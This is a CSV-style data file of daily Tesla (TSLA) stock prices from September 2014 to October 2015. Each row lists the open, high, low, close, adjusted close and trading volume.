-2014-09-08,277.6199951171875,284.8800048828125,277.5199890136719,282.1099853515625,282.1099853515625,5501600,TSLA -2014-09-09,282.989990234375,285.489990234375,277.0,278.4800109863281,278.4800109863281,4558800,TSLA -2014-09-10,279.5,281.4100036621094,273.6600036621094,281.1000061035156,281.1000061035156,3781300,TSLA -2014-09-11,280.4599914550781,284.7900085449219,278.6300048828125,280.30999755859375,280.30999755859375,3766100,TSLA -2014-09-12,280.5,282.3900146484375,277.0,279.20001220703125,279.20001220703125,3324600,TSLA -2014-09-15,274.3699951171875,274.3999938964844,249.1300048828125,253.86000061035156,253.86000061035156,16455400,TSLA -2014-09-16,255.14999389648438,262.4599914550781,252.4199981689453,260.739990234375,260.739990234375,8300100,TSLA -2014-09-17,262.4100036621094,264.70001220703125,259.5,261.3800048828125,261.3800048828125,5177700,TSLA -2014-09-18,263.3599853515625,265.6000061035156,262.32000732421875,263.82000732421875,263.82000732421875,3692600,TSLA -2014-09-19,257.989990234375,261.42999267578125,255.27000427246094,259.32000732421875,259.32000732421875,6810900,TSLA -2014-09-22,255.0,256.0199890136719,244.7100067138672,250.02999877929688,250.02999877929688,8214100,TSLA -2014-09-23,245.22000122070312,253.8000030517578,245.0,250.41000366210938,250.41000366210938,5658700,TSLA -2014-09-24,251.1199951171875,252.83999633789062,247.0399932861328,252.13999938964844,252.13999938964844,3749500,TSLA -2014-09-25,252.52000427246094,254.9600067138672,246.10000610351562,246.9499969482422,246.9499969482422,4834200,TSLA -2014-09-26,248.25,249.72999572753906,246.07000732421875,246.60000610351562,246.60000610351562,3795400,TSLA -2014-09-29,244.0,248.63999938964844,241.3800048828125,245.25999450683594,245.25999450683594,4852700,TSLA -2014-09-30,246.9199981689453,247.64999389648438,240.1199951171875,242.67999267578125,242.67999267578125,4238300,TSLA -2014-10-01,242.1999969482422,242.66000366210938,235.64999389648438,240.24000549316406,240.24000549316406,5941700,TSLA -2014-10-02,250.1999969482422,252.7899932861328,245.36000061035156,251.4199981689453,251.4199981689453,8998200,TSLA -2014-10-03,253.05999755859375,256.5,251.02999877929688,255.2100067138672,255.2100067138672,5406300,TSLA -2014-10-06,259.1300048828125,262.489990234375,257.79998779296875,260.6199951171875,260.6199951171875,7713300,TSLA -2014-10-07,258.5299987792969,261.4599914550781,255.72999572753906,259.57000732421875,259.57000732421875,4485500,TSLA -2014-10-08,260.1000061035156,262.8800048828125,252.63999938964844,259.2799987792969,259.2799987792969,5055100,TSLA -2014-10-09,262.25,265.5400085449219,254.39999389648438,257.010009765625,257.010009765625,7361300,TSLA -2014-10-10,244.63999938964844,245.88999938964844,235.1999969482422,236.91000366210938,236.91000366210938,12888300,TSLA -2014-10-13,238.57000732421875,238.9600067138672,221.0,224.58999633789062,224.58999633789062,11268700,TSLA -2014-10-14,228.25,232.47000122070312,223.0,227.05999755859375,227.05999755859375,7105300,TSLA -2014-10-15,220.0,230.99000549316406,217.32000732421875,229.6999969482422,229.6999969482422,9147300,TSLA -2014-10-16,219.72000122070312,229.9199981689453,219.10000610351562,226.35000610351562,226.35000610351562,5399300,TSLA -2014-10-17,233.3800048828125,234.77000427246094,226.5500030517578,227.47999572753906,227.47999572753906,10549400,TSLA -2014-10-20,226.72000122070312,232.39999389648438,225.50999450683594,230.47000122070312,230.47000122070312,3494400,TSLA -2014-10-21,234.27000427246094,235.38999938964844,230.8000030517578,235.33999633789062,235.33999633789062,4130300,TSLA -2014-10-22,233.19000244140625,237.38999938964844,230.55999755859375,231.10000610351562,231.10000610351562,4116600,TSLA -2014-10-23,234.66000366210938,236.27999877929688,232.0,235.2899932861328,235.2899932861328,3492400,TSLA -2014-10-24,236.27000427246094,237.8000030517578,231.1999969482422,235.24000549316406,235.24000549316406,3463300,TSLA -2014-10-27,234.25,234.61000061035156,220.30999755859375,221.6699981689453,221.6699981689453,9553300,TSLA -2014-10-28,229.60000610351562,244.60000610351562,228.25,242.77000427246094,242.77000427246094,10516300,TSLA -2014-10-29,241.1300048828125,241.5,235.63999938964844,238.10000610351562,238.10000610351562,4962500,TSLA -2014-10-30,238.13999938964844,240.5,235.05999755859375,238.66000366210938,238.66000366210938,3228400,TSLA -2014-10-31,242.50999450683594,243.1199951171875,238.75,241.6999969482422,241.6999969482422,3775300,TSLA -2014-11-03,243.0,247.55999755859375,241.32000732421875,242.58999633789062,242.58999633789062,4203800,TSLA -2014-11-04,240.49000549316406,242.35000610351562,236.52999877929688,238.92999267578125,238.92999267578125,3682600,TSLA -2014-11-05,241.0,241.36000061035156,230.52999877929688,230.97000122070312,230.97000122070312,9045900,TSLA -2014-11-06,234.49000549316406,246.69000244140625,228.5,241.22000122070312,241.22000122070312,15354700,TSLA -2014-11-07,242.19000244140625,242.83999633789062,237.1999969482422,240.1999969482422,240.1999969482422,5161000,TSLA -2014-11-10,239.11000061035156,242.8800048828125,236.8000030517578,241.92999267578125,241.92999267578125,4577200,TSLA -2014-11-11,242.5500030517578,251.82000732421875,242.0,251.0800018310547,251.0800018310547,7948800,TSLA -2014-11-12,249.72000122070312,252.33999633789062,245.5800018310547,249.10000610351562,249.10000610351562,5870800,TSLA -2014-11-13,250.6199951171875,255.75,250.25,251.6999969482422,251.6999969482422,6236000,TSLA -2014-11-14,250.0,258.8500061035156,248.5,258.67999267578125,258.67999267578125,6101100,TSLA -2014-11-17,257.489990234375,259.0,252.02000427246094,253.97999572753906,253.97999572753906,4025700,TSLA -2014-11-18,255.86000061035156,259.989990234375,255.50999450683594,257.70001220703125,257.70001220703125,4473000,TSLA -2014-11-19,250.61000061035156,251.8800048828125,245.60000610351562,247.74000549316406,247.74000549316406,7918500,TSLA -2014-11-20,247.9499969482422,250.92999267578125,246.0,248.7100067138672,248.7100067138672,3587200,TSLA -2014-11-21,252.2100067138672,252.77999877929688,242.1699981689453,242.77999877929688,242.77999877929688,7485100,TSLA -2014-11-24,245.1999969482422,247.60000610351562,240.63999938964844,246.72000122070312,246.72000122070312,4789700,TSLA -2014-11-25,247.35000610351562,249.72000122070312,246.08999633789062,248.08999633789062,248.08999633789062,3159800,TSLA -2014-11-26,248.33999633789062,249.0,246.60000610351562,248.44000244140625,248.44000244140625,1981200,TSLA -2014-11-28,245.35000610351562,246.69000244140625,242.52000427246094,244.52000427246094,244.52000427246094,2119700,TSLA -2014-12-01,241.16000366210938,242.47000122070312,229.00999450683594,231.63999938964844,231.63999938964844,8619400,TSLA -2014-12-02,234.57000732421875,234.8800048828125,228.0,231.42999267578125,231.42999267578125,5887000,TSLA -2014-12-03,226.25,229.72000122070312,225.5,229.3000030517578,229.3000030517578,5307700,TSLA -2014-12-04,228.60000610351562,230.89999389648438,227.80999755859375,228.27999877929688,228.27999877929688,3855600,TSLA -2014-12-05,228.6699981689453,229.38999938964844,222.25999450683594,223.7100067138672,223.7100067138672,6063600,TSLA -2014-12-08,221.5399932861328,224.86000061035156,212.33999633789062,214.36000061035156,214.36000061035156,9225600,TSLA -2014-12-09,209.33999633789062,217.72999572753906,204.27000427246094,216.88999938964844,216.88999938964844,9431500,TSLA -2014-12-10,214.1300048828125,216.77000427246094,207.6999969482422,209.83999633789062,209.83999633789062,7314100,TSLA -2014-12-11,210.52999877929688,215.42999267578125,208.22999572753906,208.8800048828125,208.8800048828125,6694400,TSLA -2014-12-12,204.82000732421875,211.67999267578125,204.5,207.0,207.0,7173800,TSLA -2014-12-15,209.2899932861328,209.8000030517578,202.6699981689453,204.0399932861328,204.0399932861328,5218300,TSLA -2014-12-16,200.88999938964844,203.67999267578125,195.3699951171875,197.80999755859375,197.80999755859375,8426100,TSLA -2014-12-17,193.05999755859375,206.64999389648438,192.64999389648438,205.82000732421875,205.82000732421875,7367800,TSLA -2014-12-18,212.3800048828125,218.44000244140625,211.8000030517578,218.25999450683594,218.25999450683594,7483300,TSLA -2014-12-19,220.19000244140625,220.39999389648438,214.5,219.2899932861328,219.2899932861328,6910500,TSLA -2014-12-22,220.0,224.05999755859375,218.25999450683594,222.60000610351562,222.60000610351562,4799400,TSLA -2014-12-23,223.80999755859375,224.32000732421875,219.52000427246094,220.97000122070312,220.97000122070312,4505700,TSLA -2014-12-24,219.77000427246094,222.5,219.25,222.25999450683594,222.25999450683594,1332200,TSLA -2014-12-26,221.50999450683594,228.5,221.5,227.82000732421875,227.82000732421875,3327000,TSLA -2014-12-29,226.89999389648438,227.91000366210938,224.02000427246094,225.7100067138672,225.7100067138672,2802500,TSLA -2014-12-30,223.99000549316406,225.64999389648438,221.39999389648438,222.22999572753906,222.22999572753906,2903200,TSLA -2014-12-31,223.08999633789062,225.67999267578125,222.25,222.41000366210938,222.41000366210938,2297500,TSLA -2015-01-02,222.8699951171875,223.25,213.25999450683594,219.30999755859375,219.30999755859375,4764400,TSLA -2015-01-05,214.5500030517578,216.5,207.16000366210938,210.08999633789062,210.08999633789062,5368500,TSLA -2015-01-06,210.05999755859375,214.1999969482422,204.2100067138672,211.27999877929688,211.27999877929688,6261900,TSLA -2015-01-07,213.35000610351562,214.77999877929688,209.77999877929688,210.9499969482422,210.9499969482422,2968400,TSLA -2015-01-08,212.80999755859375,213.8000030517578,210.00999450683594,210.6199951171875,210.6199951171875,3442500,TSLA -2015-01-09,208.9199981689453,209.97999572753906,204.9600067138672,206.66000366210938,206.66000366210938,4668300,TSLA -2015-01-12,203.0500030517578,204.47000122070312,199.25,202.2100067138672,202.2100067138672,5950300,TSLA -2015-01-13,203.32000732421875,207.61000061035156,200.91000366210938,204.25,204.25,4477300,TSLA -2015-01-14,185.8300018310547,195.1999969482422,185.0,192.69000244140625,192.69000244140625,11551900,TSLA -2015-01-15,194.49000549316406,195.75,190.0,191.8699951171875,191.8699951171875,5216500,TSLA -2015-01-16,190.6999969482422,194.49000549316406,189.64999389648438,193.07000732421875,193.07000732421875,3603200,TSLA -2015-01-20,193.8699951171875,194.1199951171875,187.0399932861328,191.92999267578125,191.92999267578125,4503200,TSLA -2015-01-21,189.5500030517578,198.67999267578125,189.50999450683594,196.57000732421875,196.57000732421875,4153000,TSLA -2015-01-22,197.0,203.24000549316406,195.1999969482422,201.6199951171875,201.6199951171875,4116900,TSLA -2015-01-23,200.2899932861328,203.5,198.3300018310547,201.2899932861328,201.2899932861328,3438600,TSLA -2015-01-26,201.8300018310547,208.6199951171875,201.0500030517578,206.5500030517578,206.5500030517578,3234500,TSLA -2015-01-27,204.4199981689453,208.02999877929688,203.3000030517578,205.97999572753906,205.97999572753906,2781000,TSLA -2015-01-28,206.11000061035156,206.3699951171875,198.4199981689453,199.3699951171875,199.3699951171875,3149600,TSLA -2015-01-29,201.07000732421875,205.97999572753906,196.5,205.1999969482422,205.1999969482422,3548100,TSLA -2015-01-30,203.9600067138672,207.47000122070312,203.0,203.60000610351562,203.60000610351562,3007000,TSLA -2015-02-02,203.97000122070312,211.9499969482422,203.3000030517578,210.94000244140625,210.94000244140625,4149200,TSLA -2015-02-03,213.22000122070312,220.3699951171875,211.27000427246094,218.36000061035156,218.36000061035156,4826200,TSLA -2015-02-04,218.2899932861328,221.47999572753906,216.8000030517578,218.5500030517578,218.5500030517578,3305400,TSLA -2015-02-05,219.8800048828125,225.47999572753906,219.63999938964844,220.99000549316406,220.99000549316406,3522900,TSLA -2015-02-06,222.0,223.39999389648438,216.5,217.36000061035156,217.36000061035156,3243900,TSLA -2015-02-09,215.3800048828125,217.92999267578125,211.99000549316406,217.47999572753906,217.47999572753906,3472400,TSLA -2015-02-10,217.5500030517578,220.5,215.0,216.2899932861328,216.2899932861328,5390500,TSLA -2015-02-11,212.2100067138672,214.74000549316406,207.27999877929688,212.8000030517578,212.8000030517578,9769100,TSLA -2015-02-12,193.57000732421875,203.08999633789062,193.27999877929688,202.8800048828125,202.8800048828125,15649600,TSLA -2015-02-13,202.89999389648438,205.99000549316406,200.91000366210938,203.77000427246094,203.77000427246094,6191000,TSLA -2015-02-17,205.6999969482422,205.6999969482422,201.5,204.35000610351562,204.35000610351562,3979600,TSLA -2015-02-18,204.1699981689453,206.1699981689453,202.60000610351562,204.4600067138672,204.4600067138672,2713600,TSLA -2015-02-19,205.0,212.44000244140625,203.75,211.7100067138672,211.7100067138672,5154100,TSLA -2015-02-20,210.77999877929688,217.60000610351562,209.80999755859375,217.11000061035156,217.11000061035156,5982100,TSLA -2015-02-23,215.66000366210938,218.1999969482422,206.3300018310547,207.33999633789062,207.33999633789062,8499800,TSLA -2015-02-24,207.2899932861328,207.2899932861328,201.6999969482422,204.11000061035156,204.11000061035156,6603600,TSLA -2015-02-25,204.94000244140625,207.13999938964844,202.5800018310547,203.75999450683594,203.75999450683594,3909500,TSLA -2015-02-26,204.0,211.08999633789062,202.22000122070312,207.19000244140625,207.19000244140625,6472900,TSLA -2015-02-27,206.89999389648438,208.5500030517578,202.8000030517578,203.33999633789062,203.33999633789062,3882100,TSLA -2015-03-02,202.6999969482422,203.33999633789062,195.8300018310547,197.3300018310547,197.3300018310547,7922100,TSLA -2015-03-03,196.80999755859375,200.24000549316406,195.32000732421875,199.55999755859375,199.55999755859375,4432300,TSLA -2015-03-04,199.25,202.52000427246094,197.2100067138672,202.44000244140625,202.44000244140625,4222000,TSLA -2015-03-05,202.85000610351562,206.19000244140625,200.14999389648438,200.6300048828125,200.6300048828125,4877000,TSLA -2015-03-06,199.2100067138672,200.75,192.14999389648438,193.8800048828125,193.8800048828125,6712400,TSLA -2015-03-09,194.38999938964844,194.49000549316406,188.25,190.8800048828125,190.8800048828125,6736700,TSLA -2015-03-10,188.4600067138672,193.5,187.60000610351562,190.32000732421875,190.32000732421875,5579700,TSLA -2015-03-11,191.14999389648438,196.17999267578125,191.00999450683594,193.74000549316406,193.74000549316406,4974900,TSLA -2015-03-12,193.75,194.4499969482422,189.75,191.07000732421875,191.07000732421875,4149300,TSLA -2015-03-13,188.9499969482422,191.75,187.32000732421875,188.67999267578125,188.67999267578125,5434300,TSLA -2015-03-16,192.0,195.91000366210938,189.8000030517578,195.6999969482422,195.6999969482422,5628800,TSLA -2015-03-17,195.42999267578125,198.7100067138672,193.94000244140625,194.72999572753906,194.72999572753906,4894100,TSLA -2015-03-18,194.9600067138672,200.8800048828125,193.11000061035156,200.7100067138672,200.7100067138672,4820900,TSLA -2015-03-19,202.0,204.58999633789062,194.52999877929688,195.64999389648438,195.64999389648438,8475200,TSLA -2015-03-20,197.4499969482422,198.99000549316406,195.6199951171875,198.0800018310547,198.0800018310547,4269500,TSLA -2015-03-23,198.5,200.5,197.47000122070312,199.6300048828125,199.6300048828125,2631600,TSLA -2015-03-24,201.5800018310547,203.7899932861328,199.75,201.72000122070312,201.72000122070312,3649900,TSLA -2015-03-25,198.27000427246094,198.58999633789062,192.6999969482422,194.3000030517578,194.3000030517578,5730400,TSLA -2015-03-26,193.9199981689453,194.7899932861328,189.6999969482422,190.41000366210938,190.41000366210938,4128000,TSLA -2015-03-27,189.07000732421875,189.2899932861328,181.39999389648438,185.0,185.0,8604900,TSLA -2015-03-30,185.85000610351562,192.25,181.8000030517578,190.57000732421875,190.57000732421875,10089500,TSLA -2015-03-31,193.52999877929688,193.75999450683594,188.41000366210938,188.77000427246094,188.77000427246094,5026600,TSLA -2015-04-01,188.6999969482422,192.3000030517578,186.0500030517578,187.58999633789062,187.58999633789062,3794600,TSLA -2015-04-02,190.22999572753906,193.22999572753906,190.0,191.0,191.0,5010400,TSLA -2015-04-06,198.0,207.75,197.5,203.10000610351562,203.10000610351562,12455800,TSLA -2015-04-07,202.50999450683594,205.05999755859375,201.13999938964844,203.25,203.25,4347900,TSLA -2015-04-08,208.1999969482422,210.89999389648438,205.8699951171875,207.6699981689453,207.6699981689453,6303100,TSLA -2015-04-09,208.42999267578125,210.3699951171875,206.1199951171875,210.08999633789062,210.08999633789062,3800200,TSLA -2015-04-10,209.85000610351562,211.64999389648438,209.0,210.89999389648438,210.89999389648438,4067700,TSLA -2015-04-13,210.44000244140625,213.0,209.0500030517578,209.77999877929688,209.77999877929688,3758200,TSLA -2015-04-14,208.57000732421875,209.49000549316406,205.5,207.4600067138672,207.4600067138672,3026000,TSLA -2015-04-15,207.4600067138672,209.58999633789062,206.60000610351562,207.8300018310547,207.8300018310547,1952400,TSLA -2015-04-16,207.6999969482422,209.1699981689453,206.2899932861328,206.6999969482422,206.6999969482422,1659100,TSLA -2015-04-17,204.99000549316406,206.8800048828125,203.5,206.7899932861328,206.7899932861328,2469900,TSLA -2015-04-20,206.77999877929688,207.85000610351562,203.85000610351562,205.27000427246094,205.27000427246094,2559300,TSLA -2015-04-21,205.8000030517578,210.75,204.30999755859375,209.41000366210938,209.41000366210938,3432500,TSLA -2015-04-22,212.5,221.8800048828125,211.69000244140625,219.44000244140625,219.44000244140625,7863000,TSLA -2015-04-23,218.27000427246094,221.47999572753906,217.14999389648438,218.60000610351562,218.60000610351562,4411200,TSLA -2015-04-24,220.5,220.8000030517578,218.00999450683594,218.42999267578125,218.42999267578125,2427800,TSLA -2015-04-27,222.55999755859375,238.75,222.0,231.5500030517578,231.5500030517578,11672600,TSLA -2015-04-28,234.75,235.5,228.02999877929688,230.47999572753906,230.47999572753906,6085400,TSLA -2015-04-29,230.0500030517578,234.97000122070312,227.6300048828125,232.4499969482422,232.4499969482422,3936100,TSLA -2015-04-30,230.38999938964844,232.88999938964844,225.1699981689453,226.0500030517578,226.0500030517578,3911900,TSLA -2015-05-01,229.94000244140625,231.77000427246094,220.41000366210938,226.02999877929688,226.02999877929688,5281700,TSLA -2015-05-04,228.17999267578125,234.72999572753906,227.11000061035156,230.50999450683594,230.50999450683594,4434600,TSLA -2015-05-05,237.75999450683594,239.5,229.1300048828125,232.9499969482422,232.9499969482422,5796900,TSLA -2015-05-06,234.10000610351562,234.47000122070312,228.1999969482422,230.42999267578125,230.42999267578125,5270900,TSLA -2015-05-07,221.0,237.47999572753906,220.25,236.8000030517578,236.8000030517578,9455900,TSLA -2015-05-08,235.99000549316406,238.41000366210938,233.6999969482422,236.61000061035156,236.61000061035156,4668200,TSLA -2015-05-11,236.2899932861328,242.8800048828125,235.30999755859375,239.49000549316406,239.49000549316406,5672300,TSLA -2015-05-12,240.11000061035156,246.35000610351562,238.19000244140625,244.74000549316406,244.74000549316406,6363400,TSLA -2015-05-13,247.61000061035156,248.3000030517578,242.25,243.17999267578125,243.17999267578125,5440200,TSLA -2015-05-14,244.82000732421875,244.88999938964844,241.25,244.10000610351562,244.10000610351562,2895900,TSLA -2015-05-15,243.92999267578125,249.39999389648438,242.5,248.83999633789062,248.83999633789062,4527600,TSLA -2015-05-18,247.0,249.89999389648438,246.0,248.75,248.75,3353200,TSLA -2015-05-19,248.42999267578125,251.0,246.14999389648438,247.13999938964844,247.13999938964844,3674200,TSLA -2015-05-20,247.1300048828125,247.74000549316406,241.3699951171875,244.35000610351562,244.35000610351562,3755600,TSLA -2015-05-21,243.02999877929688,246.6199951171875,242.36000061035156,245.6199951171875,245.6199951171875,1970600,TSLA -2015-05-22,245.3800048828125,248.60000610351562,245.00999450683594,247.72999572753906,247.72999572753906,2223100,TSLA -2015-05-26,247.67999267578125,252.0,246.5,247.4600067138672,247.4600067138672,3498700,TSLA -2015-05-27,248.50999450683594,249.5,245.5500030517578,247.42999267578125,247.42999267578125,3408200,TSLA -2015-05-28,247.02999877929688,251.8000030517578,245.0500030517578,251.4499969482422,251.4499969482422,3647300,TSLA -2015-05-29,251.0,252.8699951171875,249.42999267578125,250.8000030517578,250.8000030517578,3789300,TSLA -2015-06-01,251.41000366210938,251.60000610351562,247.47000122070312,249.4499969482422,249.4499969482422,2505100,TSLA -2015-06-02,248.9199981689453,249.39999389648438,246.3000030517578,248.35000610351562,248.35000610351562,2134800,TSLA -2015-06-03,248.1999969482422,250.72000122070312,247.00999450683594,248.99000549316406,248.99000549316406,1781500,TSLA -2015-06-04,247.5,249.3000030517578,245.7100067138672,245.9199981689453,245.9199981689453,2453600,TSLA -2015-06-05,246.0,249.6999969482422,245.67999267578125,249.13999938964844,249.13999938964844,3022000,TSLA -2015-06-08,250.85000610351562,258.75,250.30999755859375,256.2900085449219,256.2900085449219,5017000,TSLA -2015-06-09,255.39999389648438,257.739990234375,254.13999938964844,256.0,256.0,2611100,TSLA -2015-06-10,251.89999389648438,254.0,248.5,250.6999969482422,250.6999969482422,3454500,TSLA -2015-06-11,253.25999450683594,254.3699951171875,250.42999267578125,251.41000366210938,251.41000366210938,2044100,TSLA -2015-06-12,250.2100067138672,253.4600067138672,250.2100067138672,250.69000244140625,250.69000244140625,1422300,TSLA -2015-06-15,249.6999969482422,251.27999877929688,246.00999450683594,250.3800048828125,250.3800048828125,2186200,TSLA -2015-06-16,250.1300048828125,253.44000244140625,249.10000610351562,253.1199951171875,253.1199951171875,1984700,TSLA -2015-06-17,252.1699981689453,264.3599853515625,252.02000427246094,260.4100036621094,260.4100036621094,5512900,TSLA -2015-06-18,262.0,263.4599914550781,260.0199890136719,261.8900146484375,261.8900146484375,2782700,TSLA -2015-06-19,262.3999938964844,263.79998779296875,260.1000061035156,262.510009765625,262.510009765625,2463000,TSLA -2015-06-22,262.1499938964844,264.3999938964844,255.69000244140625,259.7900085449219,259.7900085449219,4561100,TSLA -2015-06-23,260.32000732421875,268.0,258.57000732421875,267.6700134277344,267.6700134277344,3870800,TSLA -2015-06-24,266.9800109863281,267.3500061035156,263.7200012207031,265.1700134277344,265.1700134277344,2412300,TSLA -2015-06-25,266.45001220703125,271.4100036621094,265.25,268.7900085449219,268.7900085449219,2849200,TSLA -2015-06-26,268.8900146484375,269.1099853515625,266.0,267.0899963378906,267.0899963378906,3838400,TSLA -2015-06-29,261.95001220703125,265.95001220703125,260.70001220703125,262.0199890136719,262.0199890136719,3478900,TSLA -2015-06-30,264.79998779296875,270.9200134277344,264.0,268.260009765625,268.260009765625,3086900,TSLA -2015-07-01,271.1099853515625,272.6199951171875,267.8500061035156,269.1499938964844,269.1499938964844,2101200,TSLA -2015-07-02,280.20001220703125,282.45001220703125,273.30999755859375,280.0199890136719,280.0199890136719,7163900,TSLA -2015-07-06,278.8800048828125,281.69000244140625,276.29998779296875,279.7200012207031,279.7200012207031,4121900,TSLA -2015-07-07,275.0,275.20001220703125,260.7699890136719,267.8800048828125,267.8800048828125,6105100,TSLA -2015-07-08,259.32000732421875,260.79998779296875,254.30999755859375,254.9600067138672,254.9600067138672,6221100,TSLA -2015-07-09,259.0799865722656,262.95001220703125,256.7900085449219,257.9200134277344,257.9200134277344,3334100,TSLA -2015-07-10,262.2200012207031,263.0,257.82000732421875,259.1499938964844,259.1499938964844,2610900,TSLA -2015-07-13,262.25,262.54998779296875,256.04998779296875,262.1600036621094,262.1600036621094,2960300,TSLA -2015-07-14,262.1000061035156,265.989990234375,260.510009765625,265.6499938964844,265.6499938964844,1907600,TSLA -2015-07-15,266.739990234375,267.489990234375,262.0799865722656,263.1400146484375,263.1400146484375,2021600,TSLA -2015-07-16,264.2200012207031,267.20001220703125,263.1600036621094,266.67999267578125,266.67999267578125,1616000,TSLA -2015-07-17,272.5,275.5400085449219,268.25,274.6600036621094,274.6600036621094,5004100,TSLA -2015-07-20,275.0,286.6499938964844,272.5400085449219,282.260009765625,282.260009765625,4978500,TSLA -2015-07-21,270.04998779296875,273.5,266.54998779296875,266.7699890136719,266.7699890136719,6108700,TSLA -2015-07-22,261.2699890136719,269.44000244140625,260.8599853515625,267.8699951171875,267.8699951171875,3105000,TSLA -2015-07-23,269.6499938964844,269.8999938964844,265.2699890136719,267.20001220703125,267.20001220703125,2227200,TSLA -2015-07-24,267.3800048828125,271.0899963378906,263.9200134277344,265.4100036621094,265.4100036621094,2836500,TSLA -2015-07-27,262.42999267578125,264.42999267578125,250.7899932861328,253.00999450683594,253.00999450683594,4694200,TSLA -2015-07-28,255.75,265.3999938964844,251.83999633789062,264.82000732421875,264.82000732421875,3895800,TSLA -2015-07-29,264.2699890136719,267.8900146484375,262.0,263.82000732421875,263.82000732421875,2790100,TSLA -2015-07-30,262.69000244140625,266.94000244140625,262.1099853515625,266.7900085449219,266.7900085449219,2034600,TSLA -2015-07-31,267.6000061035156,269.3599853515625,265.1199951171875,266.1499938964844,266.1499938964844,2222600,TSLA -2015-08-03,266.2900085449219,266.7099914550781,257.07000732421875,259.989990234375,259.989990234375,2553500,TSLA -2015-08-04,260.010009765625,266.7200012207031,258.3399963378906,266.2799987792969,266.2799987792969,2352500,TSLA -2015-08-05,263.5799865722656,271.0,260.3999938964844,270.1300048828125,270.1300048828125,6214300,TSLA -2015-08-06,249.5399932861328,255.0,236.1199951171875,246.1300048828125,246.1300048828125,14623800,TSLA -2015-08-07,243.5800018310547,243.72999572753906,238.38999938964844,242.50999450683594,242.50999450683594,5073400,TSLA -2015-08-10,238.14999389648438,242.97000122070312,236.0500030517578,241.13999938964844,241.13999938964844,4185900,TSLA -2015-08-11,237.14999389648438,239.3000030517578,234.44000244140625,237.3699951171875,237.3699951171875,4264900,TSLA -2015-08-12,235.0,239.77000427246094,232.74000549316406,238.1699981689453,238.1699981689453,3728000,TSLA -2015-08-13,239.86000061035156,246.47999572753906,239.1199951171875,242.50999450683594,242.50999450683594,4689200,TSLA -2015-08-14,247.24000549316406,247.92999267578125,241.77000427246094,243.14999389648438,243.14999389648438,4364800,TSLA -2015-08-17,255.55999755859375,256.5899963378906,250.50999450683594,254.99000549316406,254.99000549316406,7176700,TSLA -2015-08-18,255.3800048828125,260.95001220703125,253.55999755859375,260.7200012207031,260.7200012207031,4195000,TSLA -2015-08-19,260.3299865722656,260.6499938964844,255.02000427246094,255.25,255.25,3604300,TSLA -2015-08-20,252.05999755859375,254.55999755859375,241.89999389648438,242.17999267578125,242.17999267578125,4905800,TSLA -2015-08-21,236.0,243.8000030517578,230.50999450683594,230.77000427246094,230.77000427246094,6590200,TSLA -2015-08-24,202.7899932861328,231.39999389648438,195.0,218.8699951171875,218.8699951171875,9581600,TSLA -2015-08-25,230.52000427246094,230.89999389648438,219.1199951171875,220.02999877929688,220.02999877929688,4327300,TSLA -2015-08-26,227.92999267578125,228.0,215.50999450683594,224.83999633789062,224.83999633789062,4963000,TSLA -2015-08-27,231.0,244.75,230.80999755859375,242.99000549316406,242.99000549316406,7656000,TSLA -2015-08-28,241.86000061035156,251.4499969482422,241.57000732421875,248.47999572753906,248.47999572753906,5513700,TSLA -2015-08-31,245.6199951171875,254.9499969482422,245.50999450683594,249.05999755859375,249.05999755859375,4700200,TSLA -2015-09-01,240.33999633789062,246.0,236.97000122070312,238.6300048828125,238.6300048828125,5454800,TSLA -2015-09-02,245.3000030517578,247.8800048828125,239.77999877929688,247.69000244140625,247.69000244140625,4629200,TSLA -2015-09-03,252.05999755859375,252.0800018310547,245.0,245.57000732421875,245.57000732421875,4194800,TSLA -2015-09-04,240.88999938964844,244.08999633789062,238.1999969482422,241.92999267578125,241.92999267578125,3689200,TSLA -2015-09-08,245.0500030517578,249.16000366210938,244.0500030517578,248.1699981689453,248.1699981689453,3138200,TSLA -2015-09-09,252.0500030517578,254.25,248.3000030517578,248.91000366210938,248.91000366210938,3390800,TSLA -2015-09-10,247.22999572753906,250.72000122070312,245.3300018310547,248.47999572753906,248.47999572753906,2709000,TSLA -2015-09-11,247.63999938964844,250.24000549316406,244.72999572753906,250.24000549316406,250.24000549316406,2350800,TSLA -2015-09-14,251.10000610351562,254.25,249.6699981689453,253.19000244140625,253.19000244140625,2890900,TSLA -2015-09-15,252.75,254.60000610351562,249.5,253.57000732421875,253.57000732421875,2933500,TSLA -2015-09-16,253.0399932861328,262.8800048828125,252.8800048828125,262.25,262.25,4417100,TSLA -2015-09-17,263.9599914550781,265.5,260.69000244140625,262.07000732421875,262.07000732421875,3585800,TSLA -2015-09-18,257.9599914550781,263.82000732421875,257.5,260.6199951171875,260.6199951171875,3763100,TSLA -2015-09-21,263.9800109863281,271.57000732421875,255.8000030517578,264.20001220703125,264.20001220703125,6120200,TSLA -2015-09-22,259.0299987792969,262.6499938964844,255.8699951171875,260.94000244140625,260.94000244140625,3664400,TSLA -2015-09-23,261.95001220703125,262.0799865722656,257.5799865722656,261.05999755859375,261.05999755859375,2600800,TSLA -2015-09-24,259.5299987792969,263.45001220703125,256.2099914550781,263.1199951171875,263.1199951171875,3448200,TSLA -2015-09-25,266.6099853515625,266.9100036621094,256.1499938964844,256.9100036621094,256.9100036621094,3773400,TSLA -2015-09-28,257.3500061035156,259.7900085449219,246.61000061035156,248.42999267578125,248.42999267578125,4901100,TSLA -2015-09-29,250.4600067138672,254.72999572753906,245.4600067138672,246.64999389648438,246.64999389648438,3703200,TSLA -2015-09-30,252.0,252.39999389648438,242.33999633789062,248.39999389648438,248.39999389648438,4929600,TSLA -2015-10-01,247.50999450683594,248.5,237.1300048828125,239.8800048828125,239.8800048828125,4573000,TSLA -2015-10-02,235.60000610351562,247.6999969482422,234.92999267578125,247.57000732421875,247.57000732421875,4424000,TSLA -2015-10-05,248.83999633789062,249.83999633789062,244.1300048828125,246.14999389648438,246.14999389648438,3689900,TSLA -2015-10-06,240.0,243.02999877929688,235.5800018310547,241.4600067138672,241.4600067138672,5225200,TSLA -2015-10-07,236.6300048828125,237.6999969482422,229.1199951171875,231.9600067138672,231.9600067138672,6814000,TSLA -2015-10-08,230.0800018310547,230.72000122070312,221.30999755859375,226.72000122070312,226.72000122070312,6133200,TSLA -2015-10-09,220.92999267578125,224.3699951171875,218.36000061035156,220.69000244140625,220.69000244140625,6158400,TSLA -2015-10-12,222.99000549316406,223.0,215.27000427246094,215.5800018310547,215.5800018310547,3836300,TSLA -2015-10-13,213.27999877929688,222.52000427246094,211.1300048828125,219.25,219.25,5171500,TSLA -2015-10-14,220.6699981689453,220.9499969482422,215.42999267578125,216.8800048828125,216.8800048828125,3104400,TSLA 